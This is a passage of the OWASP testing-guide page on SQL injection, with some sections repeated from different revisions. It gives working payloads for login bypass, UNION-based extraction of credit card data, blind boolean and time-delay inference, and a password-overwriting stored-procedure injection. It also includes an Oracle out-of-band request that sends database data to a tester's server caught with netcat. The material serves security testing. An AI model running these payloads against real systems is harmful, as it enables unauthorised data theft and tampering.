<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=$id</pre>

We will set the following $id value:

<pre>$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

We will have the following query:

<pre>SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable</pre>

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for SQL Injection (OTG-INPVAL-005)

2016-03-09T02:52:40Z

Thompsnm: /* Fingerprinting the Database */ - tweak grammar

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

===Standard SQL Injection Testing===

====Example 1 (classical SQL Injection):====

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

====Example 2 (simple SELECT statement):====

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

====Example 3 (Stacked queries):====

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

===Fingerprinting the Database===

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

